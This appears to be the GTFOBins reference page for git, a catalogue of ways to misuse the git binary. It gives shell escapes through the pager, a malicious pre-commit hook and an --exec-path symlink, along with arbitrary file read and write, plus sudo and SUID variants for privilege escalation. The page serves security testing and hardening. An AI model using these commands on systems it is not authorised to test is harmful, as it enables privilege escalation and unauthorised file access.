GTFOBins.github.io/_gtfobins/git.md
Jake Backer d3173153ac
Add file-write to Git
Co-authored-by: Andrea Cardaci <cyrus.and@gmail.com>
2023-09-02 10:34:45 +02:00

2.9 KiB

functions
shell file-read file-write sudo limited-suid
code
PAGER='sh -c "exec sh 0<&1"' git -p help
description code
This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply. git help config !/bin/sh
description code
The help system can also be reached from any `git` command, e.g., `git branch`. This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply. git branch --help config !/bin/sh
description code
Git hooks are merely shell scripts and in the following example the hook associated to the `pre-commit` action is used. Any other hook will work, just make sure to be able perform the proper action to trigger it. An existing repository can also be used and moving into the directory works too, i.e., instead of using the `-C` option. TF=$(mktemp -d) git init "$TF" echo 'exec /bin/sh 0<&2 1>&2' >"$TF/.git/hooks/pre-commit.sample" mv "$TF/.git/hooks/pre-commit.sample" "$TF/.git/hooks/pre-commit" git -C "$TF" commit --allow-empty -m x
code
TF=$(mktemp -d) ln -s /bin/sh "$TF/git-x" git "--exec-path=$TF" x
description code
The read file content is displayed in `diff` style output format. LFILE=file_to_read git diff /dev/null $LFILE
description code
The patch can be created locally by creating the file that will be written on the target using its absolute path, then `git diff /dev/null /path/to/file >x.patch`. git apply --unsafe-paths --directory / x.patch
code
sudo PAGER='sh -c "exec sh 0<&1"' git -p help
description code
This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply. sudo git -p help config !/bin/sh
description code
The help system can also be reached from any `git` command, e.g., `git branch`. This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply. sudo git branch --help config !/bin/sh
description code
Git hooks are merely shell scripts and in the following example the hook associated to the `pre-commit` action is used. Any other hook will work, just make sure to be able perform the proper action to trigger it. An existing repository can also be used and moving into the directory works too, i.e., instead of using the `-C` option. TF=$(mktemp -d) git init "$TF" echo 'exec /bin/sh 0<&2 1>&2' >"$TF/.git/hooks/pre-commit.sample" mv "$TF/.git/hooks/pre-commit.sample" "$TF/.git/hooks/pre-commit" sudo git -C "$TF" commit --allow-empty -m x
code
TF=$(mktemp -d) ln -s /bin/sh "$TF/git-x" sudo git "--exec-path=$TF" x
code
PAGER='sh -c "exec sh 0<&1"' ./git -p help